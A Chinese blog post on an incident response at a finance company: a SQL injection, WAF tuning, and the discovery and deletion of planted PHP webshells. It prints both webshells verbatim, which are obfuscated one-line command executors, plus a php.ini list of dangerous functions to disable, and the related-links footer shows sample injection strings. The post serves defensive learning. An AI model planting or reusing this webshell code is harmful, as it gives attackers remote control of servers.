一次与sql注入 & webshell 的美丽“邂逅” 推荐 原创 甘兵 2018-04-27 14:55:51 博主文章分类:系统安全 ©著作权 文章标签 webshell waf *** *** sql注入 文章分类 网络安全 ©著作权归作者所有:来自51CTO博客作者甘兵的原创作品,请联系作者获取转载授权,否则将追究法律责任 引言 一波未平,一波又起。金融公司的业务实在是太引人耳目,何况我们公司的业处正处于风口之上(区块链金融),并且每天有大量现金交易,所以不知道有多少***躲在暗处一直在盯着你的系统,让你防不胜防,并且想方设法的找到突破点,以达到***的目的来获取非法利益。 俗话说:“道高一尺,魔高一丈”。系统和代码也可以这么理解,防的在好,总有漏洞。系统和代码也没有绝对的安全。该来的总会来...... sql注入与“她”相遇 某一天,天气晴朗,心情舒畅。“她”来了,打破了笔者的美好时光。下午2点多钟,笔者和朋友在苏州街的天使汇二楼极客咖啡参加某个云厂商的Kubernetes一场技术沙龙,正听得兴致勃勃的时候,笔者的公司群里有个php开发突然帖出一张图: 这个时候,群里翻腾了。没错,被SQL注入了,数据库的表被注入了字段,并且经检查后,发现这个库中的大部分表都被注入了这个字段。我的电脑没带在身边,真是着急,马上跟总监说明问题严重性。由于我电脑不在身边, 只能把数据库账号授权(读写权限)给那个php开发,让他检查所有的表,把被注入的字段删除掉。并查看数据和其它表有没有被修改。好在发现急时,数据和业务都没有被丢失和损坏。 这里我要说明一下,我们的业务都在阿里云,项目是以php为主,并且开通了waf防火墙,只是waf上的防护措施比较宽松。笔者在安全方面的经验也比较欠缺,好在开通了阿里云的WAF,让笔者在排查和防护上也变得轻松和快捷。 此时,我已经在回家的路上,回到家中迅速打开电脑。 调整waf策略 由于笔者也是刚接手工作,阿里云上的很多策略还没得到及时调整。所以才这么容易被攻进来。即然被注入了,肯定要把源给揪出来。我也在次把所有的表都检查一遍,确认没问题后,在去调整waf策略,进入阿里云。 1、进入相关域名的防护配置,我们先来看下调整前的策略,如下图: 从上图可以看出,“Web应用***防护”策略是宽松模式,其主要作用就是防护SQL注入、XSS跨站等常见Web应用***,宽松模式下对业务的误报程度最低,但也容易漏过***。“恶意IP惩罚”也没启用。这么宽松的防护措施风险比较大。赶紧先调整吧。 2、调整后的策略(如有多个域名,都调整过来),如下图: 防护策略调整过了,还需要把问题根源找到啊,这才是最重要的!!! 查找可疑文件 此时,php的项目源码分布在好几台服务器上,如果靠传统方式去排查,挨个检查这些服务器的目录,各种能用的命令都用上了,是不是也挺费劲费时的,还不知道要查到啥时候。这个时候,阿里有项服务起到关键的作用了:“态势感知”,这个需要升级为企业版本(费用不高,我们公司开通了一年,费用6000多块)。这就是用阿里的好处(不是打广告),确实让你省心。 1、进入“态势感知”查看一下,就立马发现了一堆异常行为,遍布在好几台服务器上如下图: 2、点几个异常行为进入看看,我就打开其中两个行为看一下,其它的行为也都差不多,如下图: 从命令行参数中可以看出相关目录有**/Mode/Lite/** ,并且给出的解决方案是及时排查可疑目录下的信息并及时清除。笔者顺着给出的提示在服务器上进行 find 相关目录,查找出目录所在路径,如下图: 顺藤摸瓜吧,列一下这个目录的文件: 从上图发现了有两个异常的php文件,目录属主也和其它文件不一样,笔者打开代码仓库也进入相同的目录进行比对,代码仓库中确实没有这两个文件。为了确认清楚,把这两个文件down下来发给开发。开发说项目中没有这两个文件。把它down下来打开文件看看: Content.class.php文件内容: <?php @($_=base64_decode($_POST[1])).$_(hex2bin($_POST[2]))?> } 这代码不就是被注入的表里的字段吗,上面这段代码大概意思为:把post请求的两个参数,一个用base64解密,一个用hex2bin转成16进制,然后拼接在一起,应该是把操作数据库的语句加密传过来,然后解密,这样就不会被拦截掉。如果哪位博友认为解释的有误,一定要提出来。 Lite.class.php文件内容: <?php if(isset($_REQUEST['error'])&&isset($_REQUEST['limit'])){ $page = $_REQUEST['error']; $limit = $_REQUEST['limit']; $func = base64_decode(str_rot13(strrev($limit))); $func(base64_decode(str_rot13(strrev($page)))); exit; 上面的代码其实和之前的那段代码有共性,反转字符串然后ROT13 编码,然后base64解码,最后按照 PHP 代码来计算,至于base64_decode,str_rot13,strrev是为了绕过WAF等安全设备的过滤。 已经很明显了,就是由上面这些代码文件Content.class.php等文件给注入的。不用想了:rm -rf 吧。这个动态感知还是挺好用的,能快速定位到风险目录,让你减少排查的时间和精力。 为了保险起见,继续排查一下其它的目录是否也存在可疑文件,一定要排查干净了,操作一定要小心,也别误删,果然在同级目录下又发现一个,如下图: 还有一个,如下图: 和代码仓库、开发的对比,可以确定这两个也是***传进来的可疑文件,我有一个习惯,删除文件之前喜欢备份到本地。备份好这些可疑文件到本地之,都彻底清除掉。 虽然都清除掉了,waf防火墙也调整了,但是也没有绝对的安全,还需要把php这些危险的函数禁用掉,比如禁用phpinfo、exec()、system()等: phpinfo() 功能描述:输出 PHP 环境信息以及相关的模块、WEB 环境等信息。 危险等级:中 passthru() 功能描述:允许执行一个外部程序并回显输出,类似于 exec()。 危险等级:高 exec() 功能描述:允许执行一个外部程序(如 UNIX Shell 或 CMD 命令等)。 危险等级:高 system() 功能描述:允许执行一个外部程序并回显输出,类似于 passthru()。 危险等级:高 chroot() 功能描述:可改变当前 PHP 进程的工作根目录,仅当系统支持 CLI 模式 PHP 时才能工作,且该函数不适用于 Windows 系统。 危险等级:高 scandir() 功能描述:列出指定路径中的文件和目录。 危险等级:中 chgrp() 功能描述:改变文件或目录所属的用户组。 危险等级:高 chown() 功能描述:改变文件或目录的所有者。 危险等级:高 shell_exec() 功能描述:通过 Shell 执行命令,并将执行结果作为字符串返回。 危险等级:高 proc_open() 功能描述:执行一个命令并打开文件指针用于读取以及写入。 危险等级:高 proc_get_status() 功能描述:获取使用 proc_open() 所打开进程的信息。 危险等级:高 ini_alter() 功能描述:是 ini_set() 函数的一个别名函数,功能与 ini_set() 相同。 具体参见 ini_set()。 危险等级:高 ini_set() 功能描述:可用于修改、设置 PHP 环境配置参数。 危险等级:高 ini_restore() 功能描述:可用于恢复 PHP 环境配置参数到其初始值。 危险等级:高 dl() 功能描述:在 PHP 进行运行过程当中(而非启动时)加载一个 PHP 外部模块。 危险等级:高 pfsockopen() 功能描述:建立一个 Internet 或 UNIX 域的 socket 持久连接。 危险等级:高 symlink() 功能描述:在 UNIX 系统中建立一个符号链接。 危险等级:高 popen() 功能描述:可通过 popen() 的参数传递一条命令,并对 popen() 所打开的文件进行执行。 危险等级:高 putenv() 功能描述:用于在 PHP 运行时改变系统字符集环境。在低于 5.2.6 版本的 PHP 中,可利用该函数 修改系统字符集环境后,利用 sendmail 指令发送特殊参数执行系统 SHELL 命令。 危险等级:高 禁用方法如下: 打开/etc/php.ini文件,查找到 disable_functions ,添加需禁用的函数名,如下: phpinfo,eval,passthru,exec,system,chroot,scandir,chgrp,chown,shell_exec,proc_open,proc_get_status,ini_alter,ini_alter,ini_restore,dl,pfsockopen,openlog,syslog,readlink,symlink,popepassthru,stream_socket_server,fsocket,fsockopen 趁着这次事件,把其它服务器也一并排查一下吧,需要点耐心慢慢排查,***把这些可疑文件伪装的非常好,绕过了waf墙,人的肉眼不仔细看它都看不出来,所以还是要自己细心一点干活。 需要声明一下:每个人的做事方式都不一样,本文只是把笔者遇到的事件分享给大家,仅作为交流和学习。 名词解释 sql注入: 所谓SQL注入,就是通过把SQL命令插入到Web表单提交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令。具体来说,它是利用现有应用程序,将(恶意的)SQL命令注入到后台数据库引擎执行的能力,它可以通过在Web表单中输入(恶意)SQL语句得到一个存在安全漏洞的网站上的数据库,而不是按照设计者意图去执行SQL语句。 比如先前的很多影视网站泄露VIP会员密码大多就是通过WEB表单递交查询字符暴出的,这类表单特别容易受到SQL注入式***. webshell: webshell就是以asp、php、jsp或者cgi等网页文件形式存在的一种命令执行环境,也可以将其称做为一种网页后门。***在***了一个网站后,通常会将asp或php后门文件与网站服务器WEB目录下正常的网页文件混在一起,然后就可以使用浏览器来访问asp或者php后门,得到一个命令执行环境,以达到控制网站服务器的目的。 顾名思义,“web”的含义是显然需要服务器开放web服务,“shell”的含义是取得对服务器某种程度上操作权限。webshell常常被称为***者通过网站端口对网站服务器的某种程度上操作的权限。由于webshell其大多是以动态脚本的形式出现,也有人称之为网站的后门工具。 安全防范小结 归纳一下,主要有以下几点: 1.永远不要信任用户的输入。对用户的输入进行校验,可以通过正则表达式,或限制长度;对单引号和双"-"进行转换等。 2.永远不要使用动态拼装sql,可以使用参数化的sql或者直接使用存储过程进行数据查询存取。 3.永远不要使用管理员权限的数据库连接,为每个应用使用单独的权限有限的数据库连接。 4.不要把机密信息直接存放,加密或者hash掉密码和敏感的信息。 5.应用的异常信息应该给出尽可能少的提示,最好使用自定义的错误信息对原始错误信息进行包装。 6.sql注入的检测方法一般采取辅助软件或网站平台来检测,软件一般采用sql注入检测工具jsky,网站平台就有亿思网站安全平台检测工具。MDCSOFT SCAN等。采用MDCSOFT-IPS可以有效的防御SQL注入,XSS***等。 参考:https://baike.baidu.com/item/sql%E6%B3%A8%E5%85%A5/150289?fr=aladdin 参考:https://baike.baidu.com/item/webshell/966625?fr=aladdin 参考:https://yq.aliyun.com/ziliao/8531 参考:https://www.cnblogs.com/huaxiamingwang/archive/2012/02/22/2363849.html 本章内容到此结束,喜欢我的文章,请点击最上方右角处的《关注》!!! 赞 收藏 评论 分享 举报 上一篇:容器中的mysql迁移RDS,会话却“爆了” 下一篇:51CTO博客2.0活跃之星评选大赛:获奖图书收到了!!! 提问和评论都可以,用心的回复会被更多人看到 评论 发布评论 全部评论 () 最热 最新 相关文章 记一次挖矿病毒的溯源 客户打电话过来说,公司web服务异常卡顿。起初以为是web服务缓存过多导致,重启几次无果后觉得可能是受到了攻击。起初以为是ddos攻击,然后去查看web服务器管理面板时发现网络链接很少,但是cpu占用高达99%,于是便怀疑是中了挖矿病毒。 挖矿病毒 溯源技术 应急响应 记一次网络架构调整 一、说明公司K8S集群配置需要,需要重新调整网络结构网络架构:网络架构说明:是一台路由器,接一台交换机,下面串两台交换机路由器:192.168.10.2523台交换机:没有做任何配置(12、13、14机柜交换机)二、需求新集群需要复用老集群的3台机柜交换机新集群总体上包含多个单独子网的网段,每个网段中有一个集群新集群的master节点需要继续使用老集群中的两台ESXI服务器三、新架构拓扑思路说明: 网络架构 子网 单臂路由 SQL防止注入工具类,可能用于SQL注入的字符有哪些 SQL防止注入工具类,可能用于SQL注入的字符有哪些 SQL 操作符 双引号 和Android的第一次美丽邂逅 Android是谷歌推出的基于Linux的手机平台,作为开源的移动操作系统,不存在任何阻碍移动产业创新和发展的专利权障碍,因此Android一经面世就获得了空前的发展,在移动操作系统市场份额一度达到80%多,处于绝对的垄断地位。现如今Android已经不局限于手机系统,越来越多的车载、穿戴、电视设备也集成了Android系统。我们相信随着物联网的不断深入和发展,Android系统将会以更多样的形式 android android开发 Android面试 android系统 java语言 YC创立史:一次美丽邂逅的产物 *编者注:本文作者JessicaLivingston是YCombinator创始合伙人,因为一次偶遇和创业教父PaulGraham共谐连理的同时,还跟初创企业领域喜结良缘。本文从那次偶遇开始娓娓道来,说穿了YC,也说穿了所有初创企业工作的真谛。文本英文版发布于Medium,中文版由虎嗅翻译官天地会珠海分舵进行编译。我生命中最美好的时光是出于偶然。很多人不知道我对初创企业如此着迷的原因竟然是源于当年 Java 一次邂逅 原本打算去河北的,因诸多因素终未去成,于是转到南京祭祖。三日返回,在此之前我早早地买好了车票。南来北往的人员之多,是我早已预料到的,但现实的情况却比想象中的更为严重。因车票无座,我找了靠窗的位置站着。狭窄的车厢因人多而显得格外闷热。虽说此车乃空调特快,但空调却一直“憋着”的,此形令许多人大为光火。闷热的气氛又因我体力的消耗使心变得浮躁,总想找些事情来做。我拿着本《文学欣 职场 休闲 邂逅美丽 骑着单车赶在路上,我突然感到脸上一阵凉丝丝的。抬头一望,原来是天上不知何时飘来了一朵乌云,它正像孩子似的调皮地遮在我头上。我不禁莞尔,轻轻吁出一口气,脚下也不由地放慢了速度。 那雨丝如小精灵般在我的脸上玩着捉迷藏。一会儿扑闪在睫毛上,挂上一层小水雾;一会儿吻在唇上申论万能宝典,带来一阵惊喜;一会儿又跳到脸颊上嬉戏水知道答案,让你舒服清爽。你不但恼不得,反而满心盛满了喜悦。不错,世上的所有生物 职场 休闲 一次清除webshell的实战 昨天一天朋友QQ突然找我,说是它的网站被人家挂马了,让我帮他找出木马程序,他的网站是使用phpcms二次开发的,于是上服务器查看下,所有.html.htm.shtm都被挂了马,很明显是批量挂马了,下面给出js挂马的代码 <Script language="Javascript">&nb 清除webshell 记一次SQL注入的收获 这是一篇两年前的笔记了。之 sql SQL注入 漏洞挖掘 漏洞利用 数据库 记一次sql注入测试 SQL 注入是通过在用户可控参数中注入SQL语法,破坏原有SQL结构,达到编写程序时意料之外结果的攻击行为。常见SQL注入语句$username = 1'or'1'='1$password=1'or'1'='1$username =1' or '1'='1'))/*$password = foohttp://192.168.254.132/sqli-labs/Less-1/?id=1’ order mysql SQL 网络安全 渗透测试 记一次sql注入的ctf题目 记一次sql注入的ctf题目 sql sql注入 for循环 记一次苦逼的sql注入 偶一打点,看到一个可爱的系统,通过F12 把 数据库 运维 jdbc mysql 安全 一生定要美丽一次 生长在非洲荒漠地带的依米花,默默无闻,少有人注意过它。许多旅人以为它只是一株草而已。但是,它会在某个清晨突然绽放出美丽的花朵。 那是无比绚丽的一朵花,似乎要占尽人世间所有色彩一样。它的花瓣儿呈莲叶状儿,每瓣自成一色:红、白、黄、蓝,与非洲大地上空的毒日争艳。 但是,它的花期很短,最多只 绽放美丽 记一次SQL注入Bypass过程 点击关注了解更多精彩内容!!前言某日突然对肥宅的 数据库 IP php SQL网站注入的第一次尝试 首先解释下什么是SQL注入,就是hacker在进行网扎攻击的时候这是 SQL 控件 数据库 一次棋牌注入 首先去按照fofa语法去搜目标站点。 后台如下: 按照上面的教程,登录,抓包,然后直接sqlmap跑,因为知道存在注入,所以直接 --os-sh... python 网络安全 上传 SQL注入Access导出WebShell from:lake2's blog已经听N个人过说有人已经发现SQL注入Access得到webshell的技术了,也只是听说而已,具体的细节还是不得而知。最近在看的书中一章提到Jet的安全,然后灵光一闪,呵呵,发现了一种可以利用access导出asp的方法,分享之。几个月之前网上就流传利用SQL注入Access导出数据库内容到文本文件(可导出txt、htm、html等格式)的方法: SQL 数据库 Access WebShell 休闲 记一次对某变异webshell的分析 0x01 前言在某活动中捕获到一个变异的webshell(jsp文件格式),如图1.1所示。样本webshell的大致功能是通过加载字节码来执行恶意代码,整个webshell的核心部分逻辑是在字节码中。样本文件下载链接:https://github.com/webraybtl/webshell1图1.1 变异webshell样本直接通过冰蝎、哥斯拉、天蝎、蚁剑这些工具来连,均没有成功,初步推测是一 java 字节码 反编译 记录一次Webshell后门植入 告警原因:外部入侵 详情:WebShell告警通常是因为Web应用服务存在漏洞被攻击者利用后植入了恶意文件。 建议:建议您采取如下措施处理该告警:1. 确认该文件是否是恶意文件; 2. 清除主机上的其他WebShell文件;3. 修复Web应用存在的弱点或漏洞, 避免再次被入侵; 4. 评估入侵事件 ... php web应用 云安全 一次对webshell的后门的查看 本文作者i春秋作家——非主流 昨天晚上突发奇想的想去看看github上面tennc的webshell收集项目中的shell有没有漏洞,比如未授权啊啥的,结果找半天都没找到。。。但是机缘巧合下,居然给我找到了一个后门狗。 存在后门的webshell地址 follow me 我们咋一看这不就是jspsp java i++ .net c语言 功能模块